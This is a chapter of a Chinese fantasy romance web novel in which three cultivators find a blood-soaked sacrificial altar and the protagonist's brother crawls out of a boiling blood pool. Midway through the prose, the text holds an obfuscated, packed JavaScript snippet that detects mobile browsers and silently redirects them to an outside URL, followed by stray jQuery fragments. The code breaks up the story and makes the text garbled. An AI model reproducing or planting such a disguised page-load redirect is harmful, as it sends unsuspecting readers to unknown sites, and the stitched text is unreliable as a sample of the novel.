11. 祭坛
作品:《失忆后和魔尊成亲了》 跟过来的许锦安见到这一幕,连忙低头假装自己不存在。正要离这对壁人远点时,一瓶丹药迎面砸到他怀里。
“?”
打开一看,是恢复灵力的丹药。
许锦安神色复杂,沉默片刻,朝殷时渊真心实意地作揖道谢。
“行了,有什么出去再说吧。”殷时渊抬头打断他未言的话语。
接着语气放柔,拇指摩挲虞白的手指,望着她的眼眸:“嗯?好么?”
他的眼尾略微上翘,就这样俯身专注看着对方,显得格外深情勾人。
虞白和他对视半晌,点点头说道:“我们来的那条路有傀儡追堵。”
她稍稍停顿,环视一圈,密闭的石室看起来出入口看起来只有一条。
虞白继续道:“原路出去?”
许锦安皱眉问道:“傀儡?它伤的你?”
几次相救逃命,许锦安自认为跟他们也算得上是生死之交的朋友了。
在朋友面前他安静不了半点,嘴里磕着丹药,边接话道:“是啊是啊。”
“不过它也就会偷袭了,再加上我眼下状态不行,拖累了虞道友,不然我们随便谁都能吊打它。”
后半句有些夸大了,傀儡出手狠戾,法术明显比他强。许锦安底气不足,用笑来掩饰。
他讪讪道:“你进来时没碰到那个跟碧瑶长得一样的傀儡吗?”
“没。”殷时渊牵着虞白来到墙角,“我进来时除了白骨就只有一颗树。”
许锦安:“对对对,就是树那里,放着一具白玉棺,傀儡就躺在棺里。”
虞白听着许锦安絮絮叨叨地跟殷时渊说方才的事情,她眼睛盯着殷时渊的动作。
他覆手在石墙壁上,掌心轻轻一按,墙里响起“咔咔”几声闷响。石墙从中分成两半,显现出暗道。
“走吧。”殷时渊推了推呆愣在原地的许锦安,接着回眸弯眼看向虞白。
与此同时,虞白卡着视线死角的指间动作刚好结束,她面上神情不变,“嗯”了声,随殷时渊一齐进去。
……
为了尽快破除祭阵,三人迅速穿过暗道。
蜿蜒的血迹一路蔓延至祭坛,似是有人被强行拖行,放上去献祭。
眼前的场景跟外面的圆台相似,不过这里侧面和顶端都刻满了符咒。
祭坛后面还有一方正咕咕沸腾的黑池。
许锦安愤愤道:“陈流疯了吗。”
“祭坛、圆台还有花树和集市幻境,他到底想做什么?”
是的。就算他再蠢笨,看了这里,也明白了这几处地方紧紧相连,凶煞的阴谋隐匿在暗处悄然运转杀人。
更令他心凉怒愤的是,此等阵仗的祭阵是什么时候设立在此的。
“你确定以他的能力办得到这些?”虞白皱眉半蹲在祭坛前,手指拂过那些符咒,“这符咒和白玉棺那里一样,不过是相反的。”
石面上的刻痕有深有浅,杂乱无章。
殷时渊辨认道:“这里是正的。”
虞白闻言再次详细查看这些字符,刚看了两眼,又被惊叫声打断。
“这是什么?”许锦安转了一圈,绕到祭坛后方奇怪的黑池前。
他眼尖地瞧见池水里浮着一样东西,很是眼熟。
施法将其捞起来时,他浑身瞬间冰冷,摇头嗫嚅道:“不、不可能,不可能。”
虞白循声过来,见他手里捧着一串穿着佛珠的吊坠,神情恍惚。
她拧眉欲问,陈锦安却突然抬头看向祭坛,双眼无神。
“是陈流,肯定是陈流偷了老头的东西。”
“是的,是这样的。”
“老头怎么可能会来这里……”
许锦安说着说着又收回视线,垂眸看着手心的佛珠吊坠。
这是极其普通平凡的吊坠,佛珠不是什么稀奇珍宝的材质,是取梵城檀溪寺里断裂的树枝所雕刻的。
也不是出自寺里大师之手,而是一名稚童玩心大发,随手所刻。
粗糙的做工,掉在地上,别人都嫌太过磕碜,捡都不愿捡。
许锦安抚摸着佛珠表面的字。时至今日,他依然清晰记得当初雕刻这枚佛珠时的场景。
那时候手劲小,原是想偷懒用法术,可又想到寺里的师傅说过。佛珠需得亲手所制,才能显其心诚。
于是他就攥着把刻刀,在檀溪寺里沉心做了一天,只雕刻出两颗还算能辨认出是什么东西的佛珠。
他在上面落了“安”字,是为平安,亦是表示这是他许锦安所刻。
歪歪扭扭的字迹,现在看起来真是不堪入目。
可那时候的他并不觉得,反而认为自己刻得真好。
木珠需要反复打磨毛糙的表面,以防细小木刺扎手。他已经从早刻到晚了,这一步对他来说枯燥难捱。
只随便用砂纸磨几下,就急忙捧着佛珠回家送给爹娘。
……
手心里的佛珠圆润光滑,“安”字的金漆都有些磨损了。想来,所戴之人必定是时常把玩摩挲。
娘拿到佛珠后便用红绳将其串起来,戴在手上,不曾摘下。
许锦安以为老头嫌弃他手艺,收到后便再也没看见过他拿出来。不曾想,他竟然佩戴在衣领里。
他眼眶温热,眸光凝视着佛珠吊坠。再也张不开口,继续欺骗自己。
这样无用的佛珠,谁会偷啊。
*
虞白见他捧着吊坠红了眼,一时反应不过来。
浑身是血时,还张牙舞爪的。现下却语气哽咽,神情悲伤。
她不知道为何,却也明白这佛珠吊坠的主人,应是对他极为重要。
虞白抬手欲唤纸人,前来嗅息寻人。
殷时渊骤然出手抵拦,随即揽着她后退数步,说:“池水里有人。”
许锦安被他揪着后领退行,闻言,暗淡的眼睛微亮,立时抬头看去——
乌黑的池水不断沸腾冒泡,咕噜声从池底层层叠漫而上,水泡迸裂四溅,边缘石砖溅上赤色水珠。
翻腾的血池愈发癫狂涌动,遽然,一只苍白干瘦的手从中蓦地伸出。
血水从指尖蜿蜒流回池里,那只手精准地摸到血池边缘。手指扒着石砖借力,一个“血人”爬了出来。
许锦安见状下意识地往后退了一步,但抬脚时,又生生停住脚步。
他紧盯着那人,心里莫名紧张。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235611|166068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忽然,“血人”偏头望来。
许锦安看清他的脸后,瞳孔骤缩,忙不迭冲上前喊道:“哥?!”
许尽欢?
怀疑的人突然出现,虞白反应过来,本能地想拦住许锦安靠近他。
“他现在伤不了许锦安,先看看他想做什么。”殷时渊抬手先一步抵拦,传声道,“得利用他找到阵眼。”
虞白瞬间了然:“你方才是在改阵?”
她刚才琢磨祭坛符咒时,余光瞧见他动手改了几处,原本蕴藏能量的阵法骤然停息。
殷时渊默然片刻:“嗯。只是小改阵法,暂时停止其运转。还需找到阵眼,才能彻底破除。”
以他的修为,不找阵眼,强行破阵也行。但若真如此,追捕他的……能当场连开数个传送阵,立刻飞来抓人。
他的身份也就藏不住了。
还不到时候。
……
交谈间,许锦安已经跑到许尽欢面前,连忙将人搀扶起来。吃了灵丹,灵力又恢复了些许,他掐诀清理他哥身上的污血,看他没受伤,松了口气问道:
“哥,这是怎么回事啊?你怎么会在血池里?”
许尽欢头发散乱,借力勉强站直身体,他的眸光从发丝缝隙间,扫了一眼虞白他们两人。
他喘着虚气:“是、是你身边的小厮陈流,他,他骗我说你约我来郊外见面。”
“我刚进桃林,就被他打晕了。再醒来,就、就被他扔进血池里了。”
许锦安咬牙愤愤道:“又是陈流!”
他扶着许尽欢远离血池,语气忐忑:“那老头呢,你有没有见到他?”
许尽欢摇头:“没有,我睁眼时就在池水里了。”
“那你怎么确定就是陈流扔的你?”虞白忽然发问。
许尽欢闷咳几声,苦笑道:“他引我来的,不是他还有谁。”
虞白:“确实。”
她往前迈了几步,凑近血池:“这血池看起来挺深的。”
殷时渊搭腔接话:“嗯呢,看起来也好吓人,许兄福大命大啊。”
许尽欢额角青筋跳了跳,温声解释:“其实掉进血池跟落水没差,碰巧我会点游水,才侥幸存活罢了。”
许锦安疑惑地看了看虞白他们,他们问的问题没什么,就是……语气怎么莫名怪怪的。
但现下他心里更着急老头的下落,没细想,忙问道:“我们快先找陈流和老……和我爹吧。”
“嗯。”许尽欢点头,“分头找吧,这样快些。”
许锦安迭声赞同:“好好。我和你一起,虞——”
“不行。”
虞白出声打断他。
许锦安:??
许尽欢:……
“为何?”许锦安愣了愣。
“一个没多少灵力。”虞白面无表情地盯着他,继而又转眸看许尽欢,“一个病弱。”
“分开放你们去送死么。”
许尽欢:……
许锦安:。
许锦安想了想,发觉虞白说得没错,“老弱病残”他和他哥就占了三项。
不说那凶残的傀儡,就是不小心“运气好”碰上陈流,还真是……主动送死。